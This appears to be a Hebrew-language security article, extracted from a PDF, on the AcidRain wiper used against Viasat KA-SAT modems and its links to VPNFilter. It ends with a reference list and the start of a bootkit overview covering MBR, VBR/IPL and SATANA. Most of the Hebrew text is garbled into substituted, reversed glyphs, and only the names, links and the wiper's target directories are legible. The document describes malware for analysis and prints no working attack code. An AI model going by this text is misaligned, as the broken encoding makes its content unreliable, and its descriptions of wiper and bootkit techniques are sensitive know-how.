˸ˣ˞ ,˫ˣ˯˶˲ˢ ˣ˸ˣ˞˟ ,(ˢ˶˟˥ˢ ˶˸˞˟ ˦˯ˣ˲ˢ ˸˟˧˸˩ ˭ˬˤ) ˢ˪˞ ˸ˣ˶ˣ˷ ˸˟˧˸˩˪ ˭ˣ˩ˮ ˧˩ ˫ˠ ˢ˟˸˩ ˢ˶˟˥ˢ ˢ

."ˢ˥˷ˣ˵ˢ ˸ˬ˶˟ ˞˪ˣ ˢˮ˩ˣ˸ˢ ˸ˬ˶˟ ˞˪ ,˫˧ˮˣ˩ˡ˰ ˸˴˲ˢ ˭ˣˮˠˮˬ ˫ˣ˷˟ ˢ˰˶˪ ˷ˣˬ˧˷ ˫ˣ˷ ˢˢˣˤ ˞˪" 

) ˭˩ˬ ˶˥˞˪ ˫ˣ˧омκло( ,Ruban ˠˣ˯ˬ ˫˧ˬˡˣˬ ˧ˮ˷ ˣ˪ ˥˪˷ (˧ˬ ˦˶˧˲ ˞˪) ˫ˡ˞˷ ˭˩ˡ˰ Surfbeam2  ˨ˣ˸ˬ

 ˸ˣ˩˶˰SETCOM  ˸˶˟˥ ˪˷ViaSat ˶˟ ˣˮ˧˞ ˸˰˩ˣ ˢ˲˧˵˸ˢ ˸˶ˠ˯ˬ˟ ˢ˲˵˸ˮ˷ ˢ˩˶˰˪ ˨˧˧˷ ˭ˣ˷˞˶ˢ ,

:˸ˣ˞˶ˮ ˭ˢ ˨˩ ,˪˪˩ ˢ˲˵˸ˮ ˞˪˷ ˢ˩˶˰ˬ ˢ˴˪ˣ˥ ˧ˮ˷ˢˣ ,˷ˣˬ˧˷ 

 

  

https://www.viasat.com/about/newsroom/blog/ka-sat-network-cyber-attack-overview/
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Ruban ˢ ˸˞ ˳˪˧˥-Firmeware ˢ ˭ˣ˶˩˧ˤˬ-Flash  ˫ˠˡˬ) ˫˧ˬˡˣˬˢ ˪˷S29GL256P90TFCR2Spansion  (

:˸ˣ˞˴ˣ˸ˢ ˧˸˷ ˭˧˟ ˢ˞ˣˣ˷ˢ ˰˴˧˟ˣ 

 

 :˶ˣ˵ˬ].htmlto-speculation-from-incident-https://www.reversemode.com/2022/03/viasat[ 

) ˪˞ˬ˷ ˡ˴˟ϦAttacked1.binόϦ ˢ ˣˮ˧ˢ-Dump  ˭˧ˬ˧ ˡ˴ˣ ,˱˵˸ˮ˷ ˱ˣ˯ˬˢ ˪˷ ˫ˡˣˬˢˬϦύfw_fixed.binόϦ - 

ˢ ˣˮ˧ˢ-Dump ˢ ˸˞ ˸ˣ˞˶˪ ˭˸˧ˮ ˸ˣ˪˵˟ ˧ˡ .˭˧˵˸ˢ ˱ˣ˯ˬˢˬ-Pattern  ˣ˷˰ ˣ˸˶ˤ˰˟˷Wipe ˪-Flash ˱˴˶ :

.ˡ˶ˣ˧ ˶ˡ˯˟ ˫˧ˣˣ˸ˢ ˪˪˩ 

 ,˷ˬˬ ˫ˣ˧ˢ ˣ˸ˣ˞˟˫˧˶˵ˣ˥ˢJuan Andres Guerrero-Saade  πMax van Amerongen  ˸˶˟˥ˬ

SentinelOne  :˸˶˸ˣ˩ˢ ˫˰ ˧ˮ˩˦ ˦˯ˣ˲ ˣˬ˯˶˲ϦAcidRain | A Modem Wiper Rains Down on EuropeϦ 

.ˢ˶˟˥ˢ ˪˷ ˶˵˥ˬˢ ˠˣ˪˟˟ ˟ ˡˣ˰ ˪˧˥˸ˢ ˶ˣ˲˧˯ˢ ˫˸ˮ˧˥˟ˬ ˧˩ ˣ˶˲˧˯ ˫ˢ ˦˯ˣ˲˟-15/03 ˣˢ˧ˤ ˫ˢ ˶˷˞˩ .

 ˸˟ˣ˸˩ ˪˰˟ ˞ˣˢ˷˪˩ ˫˶ˣˠ˷IP  ˳˟ˣ˵ ˢ˪˰ˢ ˸˧˵˪˦˧˞ELF 32-bit MSB  ˡ˟˰ˬ˪ ˸˧˦˦˯ ˪˲ˬˣ˵˷MIPS  ˫˰

 :˫˷ˢukrop  ˢ˶˰˷ˢˢ ˸˞ ˫˧˪˰ˬ ˫ˢ ˠˣ˪˟˟)˞ˣˢ ˫˷ˢ˷ ˫˧˪˧ˬˢ ˪˷ ˶ˣ˴˧˵ ˧˪ˣ˞ ukraine operation Σ ˣ˞

 ˵ˣ˸˰˸˟ ˶˟ˣˡˬ˷:˸˧˯ˣ˶ˬ "˶˧ˬ˷" ˢ˪˧ˬˢ ˪˷ ̂ͪͦͨ͟ Σ.(˫˧ˮ˧˞˶˵ˣ˞˪ ˧˯ˣ˶ ˧˞ˮˠ ˧ˣˮ˧˩ ˢˤ˷ 

˧˟ˢ ˣ˸ˣ˞ ˪˷ ˥ˣ˸˧ˮˬ) ˫˧˴˟˵ ˸˵˧˥ˬ ˞˧ˢ ˣ˸˶˦ˬ˷ ˧˪˩˟ ˶˟ˣˡˬ ˧˩ ˢ˞˶ˮ ,˧˶˞ˮWiper :ˣ˸ˣ˞ ˣˮ˧˩ ˫ˢ .(

AcideRain ˸ˮˬ ˪˰ .ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˪ ˫˧˶ˣ˷˵ ˫ˮ˧˞˷ ˫˧˴˟˵ˢ ˪˩ ˸˵˧˥ˬ˪ ˧˶ˮˠ ˧˪˩ ˞ˣˢ˷ ˢ˞˶ˮˣ ,

 ˸ˣ˧˵˧˸ˢ ˸˥˸ ˰˧˲ˣˬ ˣˮ˧˞˷ ˳˟ˣ˵ ˪˩ˣ ,˫˧˴˟˵ˢ ˸˩˶˰ˬ˟ ˸ˣ˧˵˧˸ˢ ˪˪˩ ˪˰ ˶˟ˣ˰ ˧˪˩ˢ ˸˞ˤ ˸ˣ˷˰˪

:˸ˣ˞˟ˢ ˸ˣ˧˦˶ˡˮ˦˯ˢ 

/bin 

/boot 

/dev 

/lib 

/proc 

/sbin 

/sys 

/user 

https://www.datasheetq.com/datasheet-download/597536/1/Spansion/S29GL256P90TFCR2
https://www.reversemode.com/2022/03/viasat-incident-from-speculation-to.html
https://www.sentinelone.com/labs/acidrain-a-modem-wiper-rains-down-on-europe/
https://en.wikipedia.org/wiki/Ukrop#:~:text=Ukrop%20(Russian%3A%20%D0%A3%D0%BA%D1%80%D0%BE%D0%BF%3B%20literally,the%20Russian%20word%20for%20Ukrainians.
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:ˢ˞˟ˢ ˢ˧˴˵ˮˣ˲ˢ ˫˰ ˯˶ˡˮ 

 

ˢ ˸˞ ˸ˣ˞˶˪ ˶˷˲˞ ˭˞˩-Pattern  ˪˷ ˣ˩˶˰ :˳˟ˣ˵ˢ ˭˩ˣ˸ ˸˞ ˫˧˯˶ˣˡ ˣ˸˧˞˷value_to_write ˟ ˪˧˥˸ˬ-

0xffffffff  :˞˟ˢ ˭˲ˣ˞˟ ˭˩ˡ˰˸ˬ ˫˰˲ ˪˩˟ˣvalue_to_write = value_to_write - 1 Φ ˵˧ˣˡˬ˟ ˧ˡ ˫˧˞˸ˬ

ˢ ˣ˸ˣ˞˪-Pattern ˷-Ruben !˱˵˸ˮ˷ ˫ˡˣˬˢ ˪˷ ˭ˣ˶˩˧ˤˢ ˧˟˧˩˶ˬ ˳˪˧˥ 

ˬ ˢ'˶˟˥ˢ ,˦˯ˣ˲ˢ ˨˷ˬˢ˟-SentinelOne  ˭˧˟ ˶˷˵ˢ ˸˞ ˣ˞˶ˢAcidRain ˪ ˶˟˰˟ ˶˟˩ ˶˷ˣ˵˷ ˧˪˩ˢ ˭˧˟˪-

APT28 ˢ ˪˷ ˶˟˧˧˯ˢ ˸ˡ˧˥˧)-GRU ˠˣ˯ˬ ˫˧˧˸˷˶ ˫˧˴˟˵ ˧˸˶˷ˣ ˫˧˶˦ˣ˞˶ ˸˲˧˵˸˪ (QNAP  ˫ˠ ˶˩ˣˬˢ

 ˫˷˟VPNFilter" ˭˧ˠ˞˪˲ˢ ˭˧˟ ˸ˣ˧˴˵ˮˣ˲ˢ ˸˞ˣˣ˷ˢ ˧"˰ ˰˴ˣ˟ ˶ˣ˷˧˵ˢ .dstr ˪˷ "VPNFilter stage 3 

 ˭˵˸ˣˢ ˣ˧˪˰ ˶˦ˣ˞˶ˢ ˪˷ ˫˧˴˟˵ˢ ˸˩˶˰ˬ ˸˞ ˪˧˪˩ ˵ˣ˥ˬ˪ ˞˧ˢ ˣ˸˶˦ˬ˷VPNFilter ˰˴ˣ˟ ˭˧ˠ˞˪˲˪ ˶ˣ˷˧˵ˢ .

:˸ˣ˞˟ˢ ˸ˣˡ˟ˣ˰ˢ ˧"˰ 

¶ ˩-55  ˣ˪˲ˬˣ˵ ˫ˢ˧ˮ˷˷ ˪˪ˠ˟ ˢˢˤ ˫ˢ˪˷ ˡˣ˵ˢ ˟˶˷ ˢ˞˶ˮ .ˢˢˤ ˢ˧ˢ ˫˧˶˞ˮ˧˟ˢ ˧ˮ˷ ˪˷ ˡˣ˵ˢˬ ˤˣ˥˞

 ˸˧˧˶˲˯ ˢ˸ˣ˞ ˫˰ ˸˧˦˦˯libc . 

¶ ˢ ˸˪˟˦- Section Header:˭˧˦ˣ˪˥˪ ˢˢˤ ˫˧˶˞ˮ˧˟ˢ ˧ˮ˷ ˪˷ 

 

 :˶ˣ˵ˬ]europe-on-down-rains-wiper-modem-a-https://www.sentinelone.com/labs/acidrain[ 

¶ ˢ ˸˶˧ˬ˷ ˣˬ˩ ,˸ˣˬˣˡ ˥ˣ˸˧˲ ˸ˣ˧ˠˣ˪ˣˡˣ˦ˬ ˪˰ ˫˧˰˧˟˴ˬ ˫˧˶˵ˣ˥ˢ ,˨˩˪ ˶˟˰ˬ-syscall  ˫ˣ˵ˬ˟ ˭ˣ˶˥˞ˢ

˪ ˢ˞˧˶˵ ˧ˮ˲˪ ˡˣ˵˟ ˧˪˞˟ˣ˪ˠ-syscall ˟ ˷ˣˬ˧˷ ˣ˞ ˷ˡ˥-IOCTLs :MEMGETINFO ,MEMUNLOCK x-

MEMERASE ˧ˮ˵˸ˢˬ ˫˧˵ˣ˪˟ ˵ˣ˥ˬ˪ ˧ˡ˩ MTDΦ 

˷ ˫˧ˮ˧˧˴ˬ ˫ˠ ˫˧˶˵ˣ˥ˢ ,˸˞ˤ ˫˰-AcidRain  ˶˷˞ˬ ˶˸ˣ˧ ˨ˣˬˮ ˧˥ˣ˸˧˲ ˦˶ˡˮ˦˯ ˫˰ ˟˸˩ˮVPNFilter .

ˡ˥ ˭˲ˣ˞˟ ˫˧˪˩ˢ ˧ˮ˷ ˭˧˟ ˶˷˵ˢ ˸˞ ˥˧˩ˣˢ˪ ˫˧˪ˣ˩˧ ˞˪ ˫ˢ˷ ˸ˣ˶ˬ˪˷ ˣ˟˸˩ ˫˧˶˵ˣ˥ˢ ,ˢˮˣ˸˥˸ˢ ˢ˶ˣ˷˟-

.˟˶ ˡ˷˥ ˢ˪˰ˬ˷ ˧˦˶ˡˮ˦˯ ˞˪ ˭ˣ˧ˬˡ ˫ˢ˧ˮ˧˟ ˷˧ ,˧˩˶˰ 

 

https://blog.talosintelligence.com/2018/05/VPNFilter.html
https://www.sentinelone.com/labs/acidrain-a-modem-wiper-rains-down-on-europe
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˫ˣ˩˧˯ 

 ˰˴ˣ˟˷ ˶˵˥ˬˢˬ ˢ˪ˣ˰˷ ˢˬ ˧ˬˣ ˫˧˲ˣ˯ˬˢ ˪˷ ˣ˧ˡ˶ˢ ˸˧˸˷˸ ˪˰ "˸ˡ˥ˣ˧ˬ" ˸˪ˣ˩˧ ˭˞˩ ˢ˪˰˲ˣˢ ˞˪˷ ˢˤ

 ˫˧ˮ˧ˣˣ˪ˢ ˪ˣˬ ˸˶ˣ˷˵˸ˢ ˧˪ˣ˵ˣ˦ˣ˶˲˟ ˸ˣ˷˪ˣ˥ ˭ˣˠ˩) ˸ˣˡ˥ˣ˧ˬ ˸ˣ˵˧ˮ˩˦˟ ˷ˬ˸˷ˢ ˞˪ ˢ˲˵˸ˬˢ ˸˞ ˪˧˰˲ˢ˷

.(˫ˬ˴˰ ˫˧ˮ˧˧ˣ˪ˢ ˪˰ ˡˣ˵ ˸˴˶ˢ ˢˠ˷ˣˢ˷ ˨˩ ˪˰ ˫˧ˡ˧˰ˬˢ ˫˧˦˵˲˧˦˶˞ ˣ˪ˠ˸ˢ ˞˪ˣ ˫ˬ˴˰ 

˧˯ˢ ˪˷ ˶˵˥ˬˢ ˧˞˴ˬˬˣ ˪˪˩˟ ˣ˪ˣ˩ ˶ˣ˲Santamarta  ,˸˞ˤ ˫˰ .˭˧˶˶ˣ˰ ˭˧˞ ˨˩ ˪˰ ,˫˧˵˸˶ˬ ˪˰ ˞˪ ˧˸˰ˡ˪

 ˦˪˥ˢ˟ ˨˞ ,ˢ˩ ˡ˰ ˢ˸˲˴ˮ ˞˪˷ ˢˬ˶˟ ˢ˲˵˸ˬ˟ ˣ˞ ˸˧ˠˣ˪ˣˮ˩˦ ˸ˣ˟˩˶ˣˬ ˸ˮ˧˥˟ˬ ˢˠ˶ˡˬ ˸˧˧˪˰˟ ˶˟ˣˡˬ

 ˫˰ ˡ˥˧ ˸ˣ˧˦˧˶˵ ˸ˣ˧˸˷˸ ˪˰ ˢˤ ˭ˣˮˠ˧˯˟ ˸ˣ˲˵˸ˬ ˪˷ ˟ˣ˪˧˷ˢ ˸ˮ˧˥˟ˬ ˢˠ˶ˡˬ ˸˧˧˪˰˟ ˶˟ˣˡˬ ˸ˣ˲˧˵˸

.˸ˣ˧ˤ˧˲ ˸ˣ˧˞˟˴ 

 ˶˵˥ˬˢ ˸ˣ˥"ˣˡ ˧˞˴ˬˬ ˫˧˞˶ˬ˷ ˣˬ˩ˣ ,"˵˥˷ˬ˪ ˳ˣ˥ˬ" ˞ˣˢ˷ ˸˧˸˷˸ ˣ˞ ˫ˣ˥˸ ˭˧˞ ,ˢˬ˥˪ˬ˟ ˶˟ˣˡˬ˷˩

 ˶˸ˣ˧ ˢ˟ˣ˷˥ˣ ˸˧˦˧˶˵ ˸˧˸˷˸ˢ˷ ˪˩˩˷ ˢ˟˷˥ˬˢ ˞˧ˢ ˢ˧ˣˠ˷˷ ˫˷ˣ˶ ˢ˷ˣ˰ ,˫ˣ˥˸˟ ˫˧ˬˡˣ˵ˢ-  ˞˧ˢ ˢ˩˩

 ˢ˩ˣ˲ˢ ˱˞ ˧˪ˣ˞ ˞˧ˢ ˸ˬ˞ˢˣ ,˶˸ˣ˧ ˸˥˦˟ˣ˞ˬ ˢ˧ˢ˸- ˦˧˶˵ˢ ˸ˣ˧˸˷˸ˢ ˞˵ˣˣˡˣ ˶˸ˣ˧˟ ˸ˣ˧-  ˫ˠ ˢ˪˞ ˭ˢ

 ˢˬ˩ ˫˧ˮ˧˧ˮˣ˰ˬ ˭ˢ˧˪˧˰˲ˬ˷ ˸ˣ˧˦˧˶˵ ˸ˣ˧˸˷˸˟ ˶˟ˣˡˬ˷ ˭ˣˣ˧˩ˬ ˞˵ˣˣˡ ˧˪ˣ˞ ?ˢˤ ˢˬ˪ .˶˸ˣ˧˟ ˸ˣ˰˧ˠ˲ˢ

" ˸ˮ˧˥˟ˬ) ˭˸ˣˮ˷˪ ˸ˣ˥˲˷if it's not broke don't fix it ˭ˬˤ ˡˣ˞ˬ ˢ˟˶ˢ ˶˟˩ ˭˞˩ ˭ˢ˷ ˭ˣˣ˧˩ˬ ˣ˞ ("

.ˡˣ˞ˬ ˫˧ˮ˷˧ ˭ˢ˪˷ ˫˧˧˦˧˶˵ˢ ˫˧˟˧˩˶ˢˣ 

 ˧˲˪˫˞˵ˣ˞ ˪˷ ˣ˶˰˸ ˞˪  ˢ˟ ˨˶ˡˢ :˸ˣˡ˟ˣ˰˪ ˡˬ˴ˢ˪ ˟ˣ˷˥ ˨˞ ,ˡˣ˞ˬ ˸˟˩˶ˣˬ ˢ˲˵˸ˬ ˭˞˩ ˢ˰˴ˣ˟

˧˞ ˫ˠ ˭˩˪ˣ ,˧˰ˬ˷ˬ ˡ˥ ˭˲ˣ˞˟ ˢ˶˸ˣ˞ ˞˪ ˫˧˲ˣ˯ˬ ˫˸ˣ˞˪ ˣ˶ˡ˥ ˭˩ ˫˧˲˵ˣ˸ˢ- (˪ˤ˪ˤ˪ ˶ˣ˯˞ˣ) ˪ˣ˪˷˪ ˶˷˲˞

.˫˶ˣˠ ˣ˸ˣ˞ ˪˷ ˣ˧˸ˣ˪ˣ˩˧˟ 

˪ ˸˧ˮ˷˪ ˸ˣˡˣˢ˪ ˧ˮˣ˴˶˟-Ruben Santamarta ˬ-Reversemode.com  ˞ˣˢ˷ ˫˧˵˸˶ˬˢ ˫˧˦˯ˣ˲ˢ ˪˰ ˭ˢ

.ˢˤ ˶ˬ˞ˬ˟ ˣ˸˩˧ˬ˸ˣ ˣ˪˷ ˶ˣ˷˧˞ˢ ˪˰ ˭ˢˣ ˫˯˶˲ˬ 

 

  

https://es.linkedin.com/in/rubensantamarta
https://www.reversemode.com/
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˸ˣ˶ˣ˵ˬ 

¶ https://www.youtube.com/watch?v=8M8MurmuEtQ - Last Call for SATCOM Security 

¶ https://www.youtube.com/watch?v=YeKswEamOl4 - SATCOM Terminals: Hacking by Air, 

Sea, and Land 

¶ https://slideplayer.com/slide/6419534/ - Basic Satellite Communication (2) Frequency 

Allocation, Spectrum and Key Terms 

¶ http://web.uettaxila.edu.pk/CMS/SP2015/teSNms/ 

¶ https://www.reversemode.com/2022/03/satcom-terminals-under-attack-in-europe.html 

¶ https://www.reversemode.com/2022/03/viasat-incident-from-speculation-to.html 

¶ https://www.sentinelone.com/labs/acidrain-a-modem-wiper-rains-down-on-europe/ 

¶ https://www.viasat.com/about/newsroom/blog/ka-sat-network-cyber-attack-overview/ 

¶ https://www.viasat.com/about/newsroom/blog/satellite-history/ 

¶ https://internet -access-guide.com/submarine-communication-cables-the-backbone-of-

worldwide-communications/ 

¶ https://www.britannica.com/technology/satellite-communication/How-satellites-work 

¶ https://en.wikipedia.org/wiki/Transatlantic_communications_cable 

 

  

https://www.youtube.com/watch?v=8M8MurmuEtQ
https://www.youtube.com/watch?v=YeKswEamOl4
https://slideplayer.com/slide/6419534/
http://web.uettaxila.edu.pk/CMS/SP2015/teSNms/
https://www.reversemode.com/2022/03/satcom-terminals-under-attack-in-europe.html
https://www.reversemode.com/2022/03/viasat-incident-from-speculation-to.html
https://www.sentinelone.com/labs/acidrain-a-modem-wiper-rains-down-on-europe/
https://www.viasat.com/about/newsroom/blog/ka-sat-network-cyber-attack-overview/
https://www.viasat.com/about/newsroom/blog/satellite-history/
https://internet-access-guide.com/submarine-communication-cables-the-backbone-of-worldwide-communications/
https://internet-access-guide.com/submarine-communication-cables-the-backbone-of-worldwide-communications/
https://www.britannica.com/technology/satellite-communication/How-satellites-work
https://en.wikipedia.org/wiki/Transatlantic_communications_cable
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Bootkits - It's Never Deep Enough 

˭ˬ˩˧ˣˠ ˭˸ˮˣ˧ ˸˞ˬ 

 

ˢˬˡ˵ˢ 

˶ˬ˧˧˪˵˯˧ˡ #1Υ ˸ˣ˧ˬ˧˦˧ˠ˪ ˞˪ ˸ˣ˶˦ˬ˪ ˡ˥˞ ˱˞ ˷ˬ˷˧ ˞˪ ˡˣ˵ˢ˷ ˸ˮˬ ˪˰Σ  ˫˯˶ˣ˲˧ ˞˪ ˶ˬ˞ˬ˟ ˶˞ˣ˸ˬ˷ ˞˪ˬˢ ˡˣ˵ˢ
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˥ˣ˪ ˱˧˪˥ˢ˪ ˷ˬ˸˷ˬˢπˢ˵ˤˣˮˢˬ ˶˦˲˧ˢ˪ ˸ˮˬ ˪˰ ˫˞ Φ 
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MBR 
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˫˧ˬˡˣ˵ˢ ˫˧˟˪˷ˢ ˣˮ˪ ˫˧˵˧ˮ˰ˬ˷ ˸ˣ˧˪ˬ˧ˮ˧ˬˢΦ ˷˧ ˢ˪˰˲ˢ ˸˩˶˰ˬ ˪˩˪ Bootloader ˢ˪˷ˬΣ  ˞ˣ˶˵˪ ˡ˰ˣ˧ˬ˷
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˫˰ ˱ˣ˸˧˷˟ ˣ˞ ˡ˟˪ ˪ˣ˰˲˪πϦDanderspritzϦ ˸ˣ˪ˣ˩˧ ˪˰ ˧˞˶˥˞˷ PersistenceΣ ˢˬˠˣˡ˪:  ˶˟˧˧˶ˡ ˪˷ ˢˮ˧˰˦

ˣˤ ˸ˣ˪ˣ˩˧ ˵˲˯ˬ˷ ˧˪ˮ˶˵Φ ˸ˣ˪ˣ˩˧ˢ ˭ˬ ˸˥˞Σ ˫ˣ˧ˢ ˢ˧˪˰ ˶˟ˡˮ˷ ˣˤΣ ˸˞˶˵ˮ SolarTimeΦ 

SolarTime ˶ˢ ˶˷˲˞˪ ˞˧ˢ ˸˧˲ˣ˯ˢ ˣ˸˶˦ˬ˷ ˦˧˵˦ˣ˟ ˣˢˤ˰ ˫ˣ˸˥ ˞˪ ˧˪ˮ˶˵ ˡˣ˵ ˸˴Ϧ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˧

˸˥˸ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˸˞ ˳˧˶ˢ˪ˣ Ϧ˥˧ˠ˷ˬϦ ˶˧˞˷ˢ˪ ˢˬˣ ˷ˬ˸˷ˬˢˬ ˶˧˸˯ˢ˪ ˢˬ ˢ˦˴ˮ˧˲˟ ˶ˣ˥˟˪ˣ 

ύˢ ˸˦˧˷πred pill/blue pill ˶˸˧ˢ ˭˧˟ ˢ˷ˬˣ˷˷ ˟πstuxnetΣ  ˫ˠ ˣ˥ˣ˸˧˲˟ ˢˡ˷˥ˮ ˸˶˟ˣˡˬˢ ˢ˴ˣ˟˵ˢ˷ ˧˪˩

˭˩Φό 

 

˸˩˧˶˰  VBR/IPL 

 ˞ˣˢ ˪ˣˡˣˬˢ ˪˷ ˭ˣ˷˞˶ˢ ˟˪˷ˢˢ ˸˩˧˶˰πVBR/IPLΦ ˢˬ ˣ˶˟˰ ˸ˣ˵ˤˣˮπMBR ˢ ˶ˣˤ˞˪πVBR/IPL  ˣ˸ˣ˞˟ ˧˩

˶˸ˣ˧ ˫˧˩ˣˬˮ ˣ˟ ˣ˧ˢ ˱˷˥˧ˢ˪ ˫˧˧ˣ˩˧˯ˢ˷ ˶˩ˣˬ ˞˪ ˶ˣˤ˧˞ ˢ˧ˢ ˢˤ ˭ˬˤˢΦ 

ˢ ˪˷ ˱ˣ˯ˢ ˧ˣˮ˧˷ ˞ˣˢ ˢ˷ˣ˰ ˪ˣˡˣˬˢ˷ ˭ˣ˷˞˶ˢ ˧ˣˮ˧˷ˢπVBR Φˢˮ˧˵˸ ˢ˴˧˶˟Σ ˢ ˪˷ ˣ˲ˣ˯˟πVBR  ˸ˣ˵˧ˡ˟ ˷˧

˸ˣˮˣ˷ ˸ˣˮ˧˵˸Σ ˶ˡˣ˞˪˦ˣ˟ˢ ˪˷ ˳˟ˣ˵ˢ ˸ˣ˞˴ˬ˧ˢ ˢˬˠˣˡ˪ ύBOOTMGR ˞ˬˠˣˡ˪Σ  ˥˵˪ˮ˷ ˧ˤ˧˲ ˳˟ˣ˵

˵˯˧ˡˢˬΦό ˧˥˩ˣˮˢ ˪ˣˡˣˬ˟Σ ˧ˢ˷˪˩ ˢ˵˧ˡ˟˟ ˢ˧˰˟ ˸ˬ˧˧˵ˣ ˢˡ˧ˬ˟Σ  ˢ˞˪ˣ˪˪ ˯ˮ˩˧ˣ ˨˩˪ ˰ˡˣˣ˧ ˞˪ ˷ˬ˸˷ˬˢ

˸˧˲ˣ˯ˮ˧˞Φ  ˣ˞ ˶ˡ˯˟ ˞˪ ˣˢ˷ˬ˷ ˨˩˟ ˡˣ˷˥˧ ˷ˬ˸˷ˬˢ˷ ˧ˣ˩˧˯ˢ ˸˞ ˡ˧˶ˣˢ˪ ˧ˡ˩ ˢ˞˶ˮ˩ ˶˴ˣˮ ˢˤ ˶˟ˡ

˵˟ˡˮ ˢ˪˧˪˥˷ Φ 
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ˢ ˧ˣˮ˧˷-Bootloader 

Master File Table - ˫˧˴˟˵ˢ ˸˩˶˰ˬ˟ ˢˮ˟ˬ NTFS ˢ˧˸˥˸ ˫˧˞˴ˬˮˢ ˫˧˴˟˵ˢ ˪˪˩ ˪˰ ˰ˡ˧ˬ ˢ˵˧ˤ˥ˬ˷Φ 

ˣˮ˪˷ ˶˷˵ˢ˟Σ ˵˯˧ˡˢ ˪˰ ˫˧˴˟˵ ˞ˣ˴ˬ˪ ˸ˮˬ ˪˰ ˶˵˧˰˟ ˸˷ˬˣ˷ˬ ˞˧ˢΦ  ˸ˣ˲˵˸ˬ ˪˷ ˸˶˩ˣˬ ˢ˧˴˪ˣ˲˧ˮˬ

ˢ˶˲ˣ˩ ύˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˸˧˧˪˰˟ ˸ˣˤ˩˶˸ˬ˷Σό  ˶ˣˤ˥˷ ˪˰ ˸ˣ˷˵ˢ˪ ˸ˮˬ ˪˰ ˢ˪˟˦ˢ ˪˷ ˢˮ˲˴ˢ ˞˧ˢ

˰ ˫˧˴˟˵ˢϦ˫˧ˮˣ˷ ˫˧˪˩ ˧Φ 

ˢ ˪˷ ˸ˣ˪ˣ˩˧ˢˬ ˸˥˞πIPL ˢ ˸˞ ˞ˣ˶˵˪ ˞˧ˢπMFT ˢ ˸˞ ˢ˪˰ˬ˷ ˳˟ˣ˵ˢ ˞˴ˬˮ ˭˩˧ˢ ˵˧˯ˢ˪ˣπBootloader 

ύsπBOOTMGRΦό  ˞˪ ˟˧˸ˮ ˨˩ ˪˰ ˸˧˞˶˥˞˷ ˢ˧˴˵ˮˣ˲˪ ˵˲˯ˬ ˞ˣˢ˷ ˣˤ˩ ˢ˶ˣ˴˟ ˡˣ˵ˢ ˸˞ ˢˮ˷ˬ ˪ˣˡˣˬˢ

˫˰ ˧˶ˣ˵ˬ BOOTMGR ˣ˵ˬˢ ˸˲˧˵˸ ˪˰ ˧˞˶˥˞ ˫ˠ ˨˷ˬˢ˟˷ ˧ˮˣˡˤ ˡˣ˵ ˭˰ˣ˦ ˨˩˟ˣ ˫˦˯πwinload.exe  ˪˰

˧˪ˮ˶˵ ˡˣ˵ ˸˵˧ˡ˟ ˪˦˟˪ ˸ˮˬ Φ 

ˢ ˸˥˸ ˸˞˴ˬˮ˷ ˢˬ˪˷ ˫˧˴˟˵ ˸˩˶˰ˬ ˸˶˴ˣ˧ ˱ˣ˯˟˪ˣ ˢ˟˶ ˢˡˣ˟˰ ˢ˷ˣ˰ ˢ˵ˤˣˮˢ ˢ˧˧˪˰ˢ ˸˲˧˵˸ ˶˥˞˪π

registry ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˪˷ ˢ˪ˣ˰˲ ˪˩ ˸˶˦ˮˬˣΣ ˶ˬ˞ˬˢ ˧˞˷ˣˮ˪ ˶˟˰ˬ ˢ˪˞ ˸ˣ˪ˣ˰˲ ˨˞Φ 

SATANA 

˫ˡˣ˵ˢ ˵˪˥˟ ˶˞ˣ˸˷ ˦˧˵˦ˣ˟ˢˬ ˢˮˣ˷˟ ΣSATANA  ˶˧˸˯ˢ˪ ˣ˞ ˱˵ˣ˸˪ ˸ˣˡ˥ˣ˧ˬ ˸ˣ˞˷˶ˢ ˸˸˪ ˧ˡ˩ ˡ˰ˣˮ ˞˪

ˣˬ˴˰ ˸˞Σ ˱˯˩ ˫˪˷˧ ˫˞ ˞˪˞ ˣ˪˷ ˟˷˥ˬ˪ ˢ˷˧ˠ ˷ˬ˸˷ˬˢˬ ˰ˣˮˬ˪ ˧ˡ˩ ˡ˰ˣˮ ˞ˣˢ ˞˪˞Φ  ˸ˣ˲˵˸ˬˬ ˢˮˣ˷˟

˸ˣ˶˥˞ ˸ˣ˧˶˪ˣ˲ˣ˲ ˢ˶˲ˣ˩ ΣSATANA ˟˷˥ˬˢ ˪˞ ˸˷ˠ˪ ˷ˬ˸˷ˬ˪ ˶˷˲˞ˬ ˞˪ ˪˪˩Φ  ˸ˮ˲˴ˢ ˞˪ ˞ˣˢ ˣ˶˵˧˰

 ˨˧˷ˬˢ˪ ˸ˮˬ ˪˰ ˥˸˲ˬ ˪˷ ˢ˷˧˶ˡˣ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˸˧˧˪˰ ˨˧˪ˢ˸ ˪˷ ˸ˬˡ˵ˣˬ ˢ˲˧˵˸ ˞˪˞ ˫˧˴˟˵ˢ

˪˧ˠ˶˩ ˸˩˶˰ˬˢ ˸˞ ˸ˣ˪˰ˢ˪ Φ˳˟ˣ˵ ˪˷ ˢ˴˶ˢ ˸˷˶ˣˡ ˢ˵ˤˣˮ˟ ˢˮˣ˩ˬ ˪˷ ˢ˵˟ˡˢ EXE ύsπDropperό  ˵˯ˣ˰˷

˵˯˧ˡˢ ˨ˣ˸˪ ˫˧˴˟˵ ˳ˣ˪˧˥ ˭ˣˠ˩ ˫˧ˮˣ˷ ˫˧˶˟ˡ˟Σ ˸˲˧˵˰ UAC ύ˪ ˢ˷˧ˠπMBR ˷˶ˣˡ˪ˢˮˬ ˸ˣ˞˷˶ˢ ˸Σό 

ˣ˩ˣ ˣˢ˷˪˩ ˸˶˷ ˫˰ ˸˶ˣ˷˵˸ Φϥ 

ˢ ˟ˣ˸˩˷˟ ˢ˪˧˥˸ˬ ˢ˵ˤˣˮˢ˷ ˧ˮ˲˪πMBR ˸˪˰ˣ˲ ˞˧ˢ ˡ˴˧˩ ˨˶˰˟ ˭˧˟ˢ˪ ˸ˣ˯ˮ˪ ˫˧˪ˣ˩˧ ˶˟˩ ˣˮ˥ˮ˞Φ  ˞˧ˢ

